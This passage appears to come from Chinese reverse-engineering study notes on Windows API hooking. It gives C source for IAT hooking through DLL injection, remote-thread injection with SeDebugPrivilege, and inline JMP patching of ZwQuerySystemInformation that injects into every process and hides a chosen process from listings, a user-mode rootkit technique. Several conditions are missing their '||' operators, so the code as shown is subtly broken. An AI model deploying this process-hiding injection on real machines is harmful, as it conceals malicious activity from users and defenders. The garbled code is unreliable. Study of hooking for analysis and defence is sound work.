void DebugLoop()
{
DEBUG_EVENT de;
DWORD dwContinueStatus;
// 等待被调试者发生事件
while( WaitForDebugEvent(&de, INFINITE) )
{
dwContinueStatus = DBG_CONTINUE; //dwContinueStatus值为DBG_CONTINUE(处理正常)或DBG_EXCEPTION_NOT_HANDLED(无法处理或在SEH中处理)
// 被调试者生成或附加事件
if( CREATE_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
OnCreateProcessDebugEvent(&de); //OnCreateProcessDebugEvent是CREATE_PROCESS_DEBUG_EVENT事件句柄
}
// 异常事件
else if( EXCEPTION_DEBUG_EVENT == de.dwDebugEventCode )
{
if( OnExceptionDebugEvent(&de) ) //OnExceptionDebugEvent是EXCEPTION_DEBUG_EVENT事件句柄,处理被调试者的INT3指令
continue;
}
// 被调试者终止事件
else if( EXIT_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
// 被调试者终止 -> debugger 终止
break;
}
// 再次运行被调试者
ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus);
}
}
int main(int argc, char* argv[])
{
DWORD dwPID;
if( argc != 2 )
{
printf("\nUSAGE : hookdbg.exe <pid>\n");
return 1;
}
// Attach Process
dwPID = atoi(argv[1]); //以程序运行参数的形式接收进程PID
if( !DebugActiveProcess(dwPID) ) //将调试器附加到进程上
{
printf("DebugActiveProcess(%d) failed!!!\n"
"Error Code = %d\n", dwPID, GetLastError());
return 1;
}
// 调试器循环
DebugLoop();
return 0;
}(2)试验先运行notepad.exe,并获取notepad的PID是32220,然后运行hookdbg.exe,如下
输入一串字符串,保存
再次打开的时候会发现都变成大写字母了三、DLL注入实现IAT钩取技术本节向计算器calc.exe插入用户的DLL文件,钩取IAT的user32.SetWindowTextW() API地址,使得计算器显示中文数字1、选定目标APIPEView打开calc.exe,在IAT中寻找API,如下两个负责显示文本其中,SetDigitemTextW()又调用了SetWindowTextW()SetWindowTextW() API定义如下:
BOOL SetWindowText(
HWND hwnd, //窗口句柄
LPCTSTR lpString //字符串指针(钩取的目标)
);在OD里验证下右键-search for-all intermodular calls,在SetWindowTextW()设置断点运行,然后可以看到第一个断点处lpString的值是0,就是计算器显示的初始值
在计算器中输入7,继续运行,发现lpString的值变为7(注意此时地址不同)
尝试修改为中文“七”,Unicode码4e03,记住是小端序故要逆序
然后就会在计算器上显示“七”
验证完毕2、IAT钩取工作原理关于IAT,可以见《逆向工程核心原理》学习笔记(二):PE文件原理如下图所示:
首先注入hookiat.dll文件,文件中提供了 MySetWindowTextW() 函数
然后修改IAT中的CALL的值为 MySetWindowTextW() 函数起始地址
一系列处理后,再CALL到user32.SetWindowTextW()函数起始地址
user32.SetWindowTextW()执行完后返回到hookiat.dll执行下一条指令
最后返回到010026283、示例:计算器显示中文数字(1)hookiat.dll// hookiat.dll
#include "stdio.h"
#include "wchar.h"
#include "windows.h"
// typedef
typedef BOOL (WINAPI *PFSETWINDOWTEXTW)(HWND hWnd, LPWSTR lpString);
// globals
FARPROC g_pOrgFunc = NULL;
BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
wchar_t* pNum = L"零一二三四五六七八九";
wchar_t temp[2] = {0,};
int i = 0, nLen = 0, nIndex = 0;
nLen = wcslen(lpString);
for(i = 0; i < nLen; i++)
{
// 阿拉伯数字转换为中文数字
//
lpString 是 wide-character (2 byte) 字符串
if( L'0' <= lpString[i] && lpString[i] <= L'9' )
{
temp[0] = lpString[i];
nIndex = _wtoi(temp);
lpString[i] = pNum[nIndex];
}
}
// 调用 user32!SetWindowTextW() API
//
(修改 lpString 缓冲区中内容)
return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}
// hook_iat
//
负责钩取 IAT
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
HMODULE hMod;
LPCSTR szLibName;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PIMAGE_THUNK_DATA pThunk;
DWORD dwOldProtect, dwRVA;
PBYTE pAddr;
//查找 IAT 位置
// hMod, pAddr = ImageBase of calc.exe
//
= VA to MZ signature (IMAGE_DOS_HEADER)
hMod = GetModuleHandle(NULL);
pAddr = (PBYTE)hMod;
// pAddr = VA to PE signature (IMAGE_NT_HEADERS)
pAddr += *((DWORD*)&pAddr[0x3C]);
// dwRVA = RVA to IMAGE_IMPORT_DESCRIPTOR Table
dwRVA = *((DWORD*)&pAddr[0x80]);
// pImportDesc = VA to IMAGE_IMPORT_DESCRIPTOR Table
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);
// for循环找到user32.dll
for( ; pImportDesc->Name; pImportDesc++ )
{
// szLibName = VA to IMAGE_IMPORT_DESCRIPTOR.Name
szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);
if( !_stricmp(szLibName, szDllName) )
{
// pThunk = IMAGE_IMPORT_DESCRIPTOR.FirstThunk
//
= VA to IAT(Import Address Table)
pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
pImportDesc->FirstThunk);
// for循环找到SetWindowTextW的IAT地址
// pThunk->u1.Function = VA to API
for( ; pThunk->u1.Function; pThunk++ )
{
if( pThunk->u1.Function == (DWORD)pfnOrg )
{
// 更改内存属性为 E/R/W
VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
PAGE_EXECUTE_READWRITE,
&dwOldProtect);
// 修改 IAT 值(钩取)
pThunk->u1.Function = (DWORD)pfnNew;
// 恢复内存属性
VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
dwOldProtect,
&dwOldProtect);
return TRUE;
}
}
}
}
return FALSE;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
// 保存原始 API 地址
g_pOrgFunc = GetProcAddress(GetModuleHandle(L"user32.dll"),
"SetWindowTextW");
// # hook
//
用 hookiat.MySetWindowText() 钩取 user32.SetWindowTextW()
hook_iat("user32.dll", g_pOrgFunc, (PROC)MySetWindowTextW);
break;
case DLL_PROCESS_DETACH :
// # unhook
//
将 calc.exe 的 IAT 恢复原值
hook_iat("user32.dll", (PROC)MySetWindowTextW, g_pOrgFunc);
break;
}
return TRUE;
}(2)InjectDll.exe类似于《逆向工程核心原理》学习笔记(三):DLL注入// InjectDll.exe
#include "stdio.h"
#include "windows.h"
#include "tlhelp32.h"
#include "winbase.h"
#include "tchar.h"
void usage()
{
printf("\nInjectDll.exe by ReverseCore\n"
"- blog
: http://www.reversecore.com\n"
"- email : reversecore@gmail.com\n\n"
"- USAGE : InjectDll.exe <i|e> <PID> <dll_path>\n\n");
}
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllName)
{
HANDLE hProcess, hThread;
LPVOID pRemoteBuf;
DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
DWORD dwErr = GetLastError();
return FALSE;
}
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName, dwBufSize, NULL);
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
BOOL EjectDll(DWORD dwPID, LPCTSTR szDllName)
{
BOOL bMore = FALSE, bFound = FALSE;
HANDLE hSnapshot, hProcess, hThread;
MODULEENTRY32 me = { sizeof(me) };
LPTHREAD_START_ROUTINE pThreadProc;
if( INVALID_HANDLE_VALUE == (hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) )
return FALSE;
bMore = Module32First(hSnapshot, &me);
for( ;bMore ;bMore = Module32Next(hSnapshot, &me) )
{
if( !_tcsicmp(me.szModule, szDllName)
!_tcsicmp(me.szExePath, szDllName) )
{
bFound = TRUE;
break;
}
}
if( !bFound )
{
CloseHandle(hSnapshot);
return FALSE;
}
if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
CloseHandle(hSnapshot);
return FALSE;
}
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary");
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, me.modBaseAddr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return TRUE;
}
DWORD _EnableNTPrivilege(LPCTSTR szPrivilege, DWORD dwState)
{
DWORD dwRtn = 0;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES
TOKEN_QUERY, &hToken))
{
LUID luid;
if (LookupPrivilegeValue(NULL, szPrivilege, &luid))
{
BYTE t1[sizeof(TOKEN_PRIVILEGES) + sizeof(LUID_AND_ATTRIBUTES)];
BYTE t2[sizeof(TOKEN_PRIVILEGES) + sizeof(LUID_AND_ATTRIBUTES)];
DWORD cbTP = sizeof(TOKEN_PRIVILEGES) + sizeof (LUID_AND_ATTRIBUTES);
PTOKEN_PRIVILEGES pTP = (PTOKEN_PRIVILEGES)t1;
PTOKEN_PRIVILEGES pPrevTP = (PTOKEN_PRIVILEGES)t2;
pTP->PrivilegeCount = 1;
pTP->Privileges[0].Luid = luid;
pTP->Privileges[0].Attributes = dwState;
if (AdjustTokenPrivileges(hToken, FALSE, pTP, cbTP, pPrevTP, &cbTP))
dwRtn = pPrevTP->Privileges[0].Attributes;
}
CloseHandle(hToken);
}
return dwRtn;
}
int _tmain(int argc, TCHAR* argv[])
{
if( argc != 4 )
{
usage();
return 1;
}
// adjust privilege
_EnableNTPrivilege(SE_DEBUG_NAME, SE_PRIVILEGE_ENABLED);
// InjectDll.exe <i|e> <PID> <dll_path>
if( !_tcsicmp(argv[1], L"i") )
InjectDll((DWORD)_tstoi(argv[2]), argv[3]);
else if(!_tcsicmp(argv[1], L"e") )
EjectDll((DWORD)_tstoi(argv[2]), argv[3]);
return 0;
}四、API代码修改技术API代码修改技术:库文件被加载到进程内存后,在目录映像中直接修改要钩取的API代码本身(相较于上一节的IAT钩取,本技术可以钩取更多的不在IAT的API)本节将用API代码修改技术实现隐藏进程1、API代码修改原理原始状态如下:钩取原理如下图所示:
注入stealth.dll,钩取ntdll.ZwQuerySystemInformation() API
ntdll.ZwQuerySystemInformation() API起始地址的5个字节代码改为stealth.MyZwQuerySystemInformation() 的地址JMP 10001120
于是 ntdll.ZwQuerySystemInformation()被调用的时候,会跳转到stealth.MyZwQuerySystemInformation()
1000116A的指令将 ntdll.ZwQuerySystemInformation() API起始地址的5个字节代码恢复原值
1000119B的指令调用正常的 ntdll.ZwQuerySystemInformation()
ntdll.ZwQuerySystemInformation()执行完后,返回stealth.dll
然后10001212再次钩取ntdll.ZwQuerySystemInformation()(即第二步)
stealth.MyZwQuerySystemInformation() 执行完后,返回进程2、示例:隐藏进程(1)相关API一般获取进程快照,用的是CreateToolHelp32Snapshot() API枚举进程则用的是EnumProcesses() API而这两个API底层都调用的是 ntdll.ZwQuerySystemInformation() APIntdll.ZwQuerySystemInformation() API可以获取运行中的所有进程信息,形成链表NTSTATUS WINAPI ZwQuerySystemInformation(
_In_
SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_
PVOID
SystemInformation,
_In_
ULONG
SystemInformationLength,
_Out_opt_ PULONG
ReturnLength
);隐藏进程时,需要钩取所有进程的ZwQuerySystemInformation() API,即全局钩取(2)源码HideProc.exe,可以认为是InjectDll.exe的加强版// HideProc.exe
#include "windows.h"
#include "stdio.h"
#include "tlhelp32.h"
#include "tchar.h"
typedef void (*PFN_SetProcName)(LPCTSTR szProcName);
enum {INJECTION_MODE = 0, EJECTION_MODE};
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES
TOKEN_QUERY,
&hToken) )
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL,
// lookup privilege on local system
lpszPrivilege,
// privilege to lookup
&luid) )
// receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE
hProcess, hThread;
LPVOID
pRemoteBuf;
DWORD
dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE
pThreadProc;
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
printf("OpenProcess(%d) failed!!!\n", dwPID);
return FALSE;
}
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf,
(LPVOID)szDllPath, dwBufSize, NULL);
pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
BOOL
bMore = FALSE, bFound = FALSE;
HANDLE
hSnapshot, hProcess, hThread;
MODULEENTRY32
me = { sizeof(me) };
LPTHREAD_START_ROUTINE
pThreadProc;
if( INVALID_HANDLE_VALUE ==
(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) )
return FALSE;
bMore = Module32First(hSnapshot, &me);
for( ; bMore ; bMore = Module32Next(hSnapshot, &me) )
{
if( !_tcsicmp(me.szModule, szDllPath)
!_tcsicmp(me.szExePath, szDllPath) )
{
bFound = TRUE;
break;
}
}
if( !bFound )
{
CloseHandle(hSnapshot);
return FALSE;
}
if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
CloseHandle(hSnapshot);
return FALSE;
}
pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"FreeLibrary");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, me.modBaseAddr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return TRUE;
}
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
DWORD
dwPID = 0;
HANDLE
hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32
pe;
// Get the snapshot of the system
pe.dwSize = sizeof( PROCESSENTRY32 );
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );
// find process
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;
if( dwPID < 100 ) //PID小于100的系统进程不注入
continue;
if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath); //dll注入
else
EjectDll(dwPID, szDllPath); //卸载dll
}
while( Process32Next(hSnapShot, &pe) );
CloseHandle(hSnapShot);
return TRUE;
}
int _tmain(int argc, TCHAR* argv[])
{
int
nMode = INJECTION_MODE;
HMODULE
hLib = NULL;
PFN_SetProcName
SetProcName = NULL;
if( argc != 4 ) //检验参数
{
printf("\n Usage
: HideProc.exe <-hide|-show> "\
"<process name> <dll path>\n\n");
return 1;
}
// change privilege
SetPrivilege(SE_DEBUG_NAME, TRUE);
// load library
hLib = LoadLibrary(argv[3]);
// set process name to hide
SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName");
SetProcName(argv[2]);
// Inject(Eject) Dll to all process
if( !_tcsicmp(argv[1], L"-show") )
nMode = EJECTION_MODE;
InjectAllProcess(nMode, argv[3]);
// free library
FreeLibrary(hLib);
return 0;
}stealth.dll// stealth.dll
#include "windows.h"
#include "tchar.h"
#define STATUS_SUCCESS
(0x00000000L)
typedef LONG NTSTATUS;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
#define DEF_NTDLL
("ntdll.dll")
#define DEF_ZWQUERYSYSTEMINFORMATION
("ZwQuerySystemInformation")
// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
TCHAR g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()
// global variable
BYTE g_pOrgBytes[5] = {0,};
//此函数用来将api前5个字节改为jmp xxxx,以实现钩取
//szDllName:dll名称,szFuncName:api名称,pfnNew:勾取函数地址,pOrgBytes:存储原来5个字节的缓冲区
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pfnOrg;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = {0xE9, 0, };
PBYTE pByte;
// 获取需要勾取的API地址
pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pfnOrg;
// 若已被勾取,则返回False
if( pByte[0] == 0xE9 )
return FALSE;
// 为了修改5字节,先向内存添加“写”的属性
VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 备份原有代码(5字节)
memcpy(pOrgBytes, pfnOrg, 5);
// 计算 JMP 地址 (E9 XXXX)
// => XXXX = pfnNew - pfnOrg - 5
dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
memcpy(&pBuf[1], &dwAddress, 4);
// Hook - 修改 5 byte
(JMP XXXX)
memcpy(pfnOrg, pBuf, 5);
// 恢复内存属性
VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;
// 获取 API 地址
pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
// 若已脱钩,则返回False
if( pByte[0] != 0xE9 )
return FALSE;
// 向内存添加“写”的属性,为恢复原代码做准备
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// Unhook
memcpy(pFunc, pOrgBytes, 5);
// 恢复内存属性
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
// 勾取过程
NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
char szProcName[MAX_PATH] = {0,};
// 开始前先“脱钩”
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);
// 调用原始API
pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),
DEF_ZWQUERYSYSTEMINFORMATION);
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
if( status != STATUS_SUCCESS )
goto __NTQUERYSYSTEMINFORMATION_END;
// 针对 SystemProcessInformation 类型操作
if( SystemInformationClass == SystemProcessInformation )
{
// SYSTEM_PROCESS_INFORMATION 类型转换
// pCur 是单向链表的头
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while(TRUE)
{
// 比较进程名称
// g_szProcName为要隐藏的进程的名称
// (=在SetProcName()设置)
if(pCur->Reserved2[1] != NULL)
{
if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
{
// 从链表中删除隐藏进程的节点
if(pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
}
if(pCur->NextEntryOffset == 0)
break;
// 链表的下一项
pCur = (PSYSTEM_PROCESS_INFORMATION)
((ULONG)pCur + pCur->NextEntryOffset);
}
}
__NTQUERYSYSTEMINFORMATION_END:
// 函数终止前,再次执行API勾取操作,为下次调用准备
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
return status;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char
szCurProc[MAX_PATH] = {0,};
char
*p = NULL;
// #1. 异常处理
// 若当前进程为 HookProc.exe 则不进行钩取
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc.exe") )
return TRUE;
switch( fdwReason )
{
// #2. API Hooking
case DLL_PROCESS_ATTACH :
hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewZwQuerySystemInformation, g_pOrgBytes);
break;
// #3. API Unhooking
case DLL_PROCESS_DETACH :
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
g_pOrgBytes);
break;
}
return TRUE;
}
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void SetProcName(LPCTSTR szProcName)
{
_tcscpy_s(g_szProcName, szProcName);
}
#ifdef __cplusplus
}
#endif五、全局API钩取全局 API 钩取针对所有进程,包括正在运行和将要运行的进程用全局API钩取对上一节内容进行加强1、相关API(1)Kernel32.CreateProcess()Kernel32.CreateProcess() API 是用来创建新进程的,钩取时要注意:
要同时钩取Kernel32.CreateProcessA()和Kernel32.CreateProcessW()
上两个API分别调用了CreateProcessInternalA()和CreateProcessInternalW(),故这两个API也要钩取BOOL CreateProcess(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);可参考CreateProcess函数详解(2)Ntdll.ZwResumeThread()Ntdll.ZwResumeThread()在进程创建后,主线程运行前在Kernel32.CreateProcess() 内被调用执行,不过这个API似乎并未公开,故有不确定性ZwResumeThread(
IN
HANDLE
ThreadHandle,
OUT
PULONG
SuspendCount OPTIONAL
)2、源码(1)HideProc2.exeHideProc2.exe与HideProc.exe相似// HideProc2.exe
#include "windows.h"
#include "stdio.h"
#include "tlhelp32.h"
#include "tchar.h"
enum {INJECTION_MODE = 0, EJECTION_MODE};
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES
TOKEN_QUERY,
&hToken) )
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL,
// lookup privilege on local system
lpszPrivilege,
// privilege to lookup
&luid) )
// receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
HANDLE
hProcess, hThread;
LPVOID
pRemoteBuf;
DWORD
dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE
pThreadProc;
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
printf("OpenProcess(%d) failed!!!\n", dwPID);
return FALSE;
}
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf,
(LPVOID)szDllPath, dwBufSize, NULL);
pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
BOOL
bMore = FALSE, bFound = FALSE;
HANDLE
hSnapshot, hProcess, hThread;
MODULEENTRY32
me = { sizeof(me) };
LPTHREAD_START_ROUTINE
pThreadProc;
if( INVALID_HANDLE_VALUE ==
(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) )
return FALSE;
bMore = Module32First(hSnapshot, &me);
for( ; bMore ; bMore = Module32Next(hSnapshot, &me) )
{
if( !_tcsicmp(me.szModule, szDllPath)
!_tcsicmp(me.szExePath, szDllPath) )
{
bFound = TRUE;
break;
}
}
if( !bFound )
{
CloseHandle(hSnapshot);
return FALSE;
}
if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
{
printf("OpenProcess(%d) failed!!!\n", dwPID);
CloseHandle(hSnapshot);
return FALSE;
}
pThreadProc = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"FreeLibrary");
hThread = CreateRemoteThread(hProcess, NULL, 0,
pThreadProc, me.modBaseAddr, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return TRUE;
}
BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
{
DWORD
dwPID = 0;
HANDLE
hSnapShot = INVALID_HANDLE_VALUE;
PROCESSENTRY32
pe;
// Get the snapshot of the system
pe.dwSize = sizeof( PROCESSENTRY32 );
hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPALL, NULL );
// find process
Process32First(hSnapShot, &pe);
do
{
dwPID = pe.th32ProcessID;
if( dwPID < 100 )
continue;
if( nMode == INJECTION_MODE )
InjectDll(dwPID, szDllPath);
else
EjectDll(dwPID, szDllPath);
} while( Process32Next(hSnapShot, &pe) );
CloseHandle(hSnapShot);
return TRUE;
}
int _tmain(int argc, TCHAR* argv[])
{
int nMode = INJECTION_MODE;
if( argc != 3 )
{
printf("\n Usage
: HideProc2.exe <-hide|-show> <dll path>\n\n");
return 1;
}
// change privilege
SetPrivilege(SE_DEBUG_NAME, TRUE);
// Inject(Eject) Dll to all process
if( !_tcsicmp(argv[1], L"-show") )
nMode = EJECTION_MODE;
InjectAllProcess(nMode, argv[2]);
return 0;
}(2)stealth2.dll使用时先将stealth2.dll复制到%SYSTEM%文件夹#include "windows.h"
#include "stdio.h"
#include "tchar.h"
#define STR_MODULE_NAME
(L"stealth2.dll")
#define STR_HIDE_PROCESS_NAME
(L"notepad.exe")
#define STATUS_SUCCESS
(0x00000000L)
